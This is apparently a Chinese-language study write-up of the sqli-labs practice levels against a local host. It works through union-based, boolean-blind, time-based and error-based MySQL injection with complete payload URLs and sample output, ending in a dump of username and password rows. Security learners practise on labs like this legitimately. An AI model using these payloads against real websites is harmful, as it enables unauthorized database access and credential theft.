sqli--sql注入过关笔记(1,2,3,4,5,9)

首先明确我们需要干什么:

1.判断sql注入类型。是字符?是数字?

2.判断闭合符是什么。

3.判断查询的列数是几列

4.判断回显的位置。

Less1~~~~Less4

这4关其实大差不差,只在判断闭合符上有不同。

##判断sql注入类型。是字符?是数字?

http://127.0.0.1/sqli/Less-1/?id=1 and 1=2 --+

可以看到在"?id"后面是我们sql注入的内容,使用"1 and 1=2"这个语句可以用来判断sql注入类型。是字符?是数字?;如果是数字的话就不会显示,因为1=2这个式子永远为假,如果是字符型的话,系统就会读取最前面的1,然后把后面的and 1=2当作异常数据不理会,然后输出1的内容。

##判断闭合符是什么?

Less1

http://127.0.0.1/sqli/Less-1/?id= 1' and 1=2 --+

不显示,说明存在单引号字符型注入

Less2

http://127.0.0.1/sqli/Less-2/?id= 1 and 1=2 --+

不显示,说明是数字型注入

Less3

http://127.0.0.1/sqli/Less-3/?id= 1' and 1=2 --+

显示报错,说明对了一半,还有一个没猜出来。

http://127.0.0.1/sqli/Less-3/?id= 1') and 1=2 --+

不显示,说明猜对了。

Less4

http://127.0.0.1/sqli/Less-4/?id= 1") and 1=2 --+

不显示,说明猜对了。

##.判断查询的列数是几列(以Lsse1为例,剩下3个差不多)

http://127.0.0.1/sqli/Less-1/?id=1' order by 3 --+ //正常显示1的内容

http://127.0.0.1/sqli/Less-1/?id=1' order by 4 --+

//报错 "Unknown column '4'"说明是3 列

##确定回显位(UNION SELECT)

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,3 --+

//回显位在 第 2 列和第 3 列(Your Login name:2 / Your Password:3)

///这里最前面的查询数字从1改成了-1,是为了让数据库查不出来这个数据,从而可以让 union拼接符把后面的select函数显示到页面上来。

##获取数据库信息

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,database(),version() --+

(Your Login name:security/Your Password:5.7.26)

##枚举所有表名

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

(Your Login name:emails,referers,uagents,users)

~~group_concat(table_name)

正常查询 table_name 会分行返回多个表名;

group_concat() 把所有结果拼接成一行字符串,适合页面只有一处回显的场景。

from information_schema.tables

information_schema 是 MySQL 自带系统库。 tables 这张系统表记录了:服务器上所有数据 库、所有数据表信息。 想要爆破表名必须查这张表。

where table_schema=database()

table_schema:字段含义 = 数据库名称

database():无参函数,返回当前正在使用的数据库名

整句作用:只查询当前网站所在数据库里面的表,过滤掉其他库的数据。

##枚举 users 表的列名

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' --+

(Your Login name:id,username,password)

Less5 布尔型注入

------布尔盲注-------

  • 条件为真 → 页面正常显示(True)
  • 条件为假 → 页面异常 / 空白(False)

核心函数(布尔盲注必备)

  1. length(str):获取字符串长度
  2. substr(str,pos,len):截取字符串 substr (数据,起始位置,截取长度)

##判断注入点

http://127.0.0.1/sqli/Less-5/?id=1' and 1=2 --+

不显示,说明注入成功,

##判断当前数据库名称长度

通过length()函数查询数据库名称长度,并进行比较猜测。

http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>7 --+

页面显示,说明猜对了

http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>10 --+

页面不显示,说明猜错了

http://127.0.0.1/sqli/Less-5/?id=1' and length(database())=8 --+

页面显示,说明猜对了。长度就是8。

##猜数据库第一个字符

使用ascii码对数据库名称进行猜测

http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1)) =115 --+

页面显示,说明猜对了;115 = s 所以数据库名第一个字符是s

##猜表名

先猜第一张表名字长度

http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6--+

页面显示,说明猜对了

猜第一个字符

http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+

页面显示,说明猜对了

Less9 时间盲注

适用场景

  • 没有页面回显
  • 没有布尔状态(页面真假看不出区别)
  • 只能依靠:SQL 执行是否触发延时 判断条件真假

原理: if(条件,延时函数,不延时)

  • 条件为真 → 数据库执行sleep(N),页面加载变慢
  • 条件为假 → 不延时,页面瞬间打开

##测试延时是否生效,来判断注入点

http://127.0.0.1/sqli/Less-9/?id=1'and sleep(3) --+

//页面延迟了3秒加载,注入成功。

~~~这是正在加载

~~~这是加载完成

##判断数据库名字长度

http://127.0.0.1/sqli/Less-9/?id=1' and if(length(database())=8,sleep(3),1) --+

页面延时 → 条件成立;database ()=security,长度 8。

##逐字符猜库名

http://127.0.0.1/sqli/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(3),1) --+

页面延时 → 条件成立;115 = s 所以数据库名第一个字符是s。

报错注入

网站会把 MySQL 原生 SQL 错误打印到页面上。 如果网站统一屏蔽错误(只显示 "出错了",不输出数据库报错)→ 报错注入无法使用。 主流两种函数:

  1. updatexml(任意值, concat(~,查询内容,~),任意值) // 0x7e = ~
  2. extractvalue(任意值, concat(0x7e,查询内容,0x7e)) 原理相同:第二个参数接收 XPath 表达式,传入非法 XPath,数据库把我们拼接的数据放在报错信息中返回。

⚠ 硬性限制:单次报错最多回显 32 个字符 ,超长内容必须用 limit N,1 逐条读取,不要直接用 group_concat

##获取当前数据库名

http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+

(XPATH syntax error: '~security~')

##获取数据库下所有表名(因为最多 32 字符,只能一条一条拿,使用 limit x,1)

--第0条表

http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1) --+

(XPATH syntax error: '~emails~')

--第1条表

http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 1,1),0x7e),1) --+

(XPATH syntax error: '~referers~')

--第n条表

http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit n,1),0x7e),1) --+

##获取指定表(users)中的字段名

http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),0x7e),1) --+

(XPATH syntax error: '~id~')

##读取表内账号密码数据

http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from security.users limit 0,1),0x7e),1) --+

(XPATH syntax error: '~Dumb:Dumb~')

updatexml 函数原型回顾

修改 XML 字符串里指定节点的数据 MySQL 专门用来处理 XML 文本的内置函数。

updatexml(xml_doc, xpath_expr, new_val)

xml_doc :xml 文档,可以是字符串常量、数字常量

如果你直接写一串字母不加引号:MySQL 判定为字段名

xpath_expr 类型:字符串,XPath 表达式(核心注入点)

作用:定位 XML 中要被修改的节点

注入原理: 构造非法 XPath 语法 ,MySQL 会把表达式原文打印在错误信息中。 我们放入 concat(0x7e,查询内容,0x7e)~ 破坏 XPath 语法,触发报错带出数据。

new_val 类型:字符串

作用:匹配到节点后,用来替换节点内容的新值

注入场景下不会执行替换逻辑(因为 xpath 非法直接报错);

随便填常量 1、'123' 占位即可;和参数 1 规则一样:裸写字母会被当做字段。

相关推荐
你想知道什么?2 小时前
线性回归-学习笔记
笔记·学习·线性回归
谙弆悕博士2 小时前
系统集成项目管理工程师教程(第3版)笔记——第17章:法律法规和标准规范
笔记·职场和发展·学习方法·业界资讯·软考·法律·法规
Csvn2 小时前
📊 SQL 入门 Day 10:递归 CTE — 破解无限层级查询的终极武器
后端·sql
吠品3 小时前
Zabbix Web界面误报Server未运行的排查与解决
java·服务器·数据库
SelectDB3 小时前
Apache Doris Variant 动态 JSON 实战教程:从建表到跑通 100M Agent 日志查询
数据库
sg_knight3 小时前
MySQL 存储过程详解:从入门到实战
android·数据库·mysql·database·dba·关系型数据库·db
谙弆悕博士4 小时前
系统集成项目管理工程师教程(第3版)笔记——第4章:信息系统架构
笔记·系统架构·项目管理·创业创新·学习方法·业界资讯·物理
星空露珠4 小时前
28种颜色对应名称,
开发语言·数据库·算法·游戏·lua
踏月的造梦星球5 小时前
DM8 DSC 单机双实例部署
运维·开发语言·数据库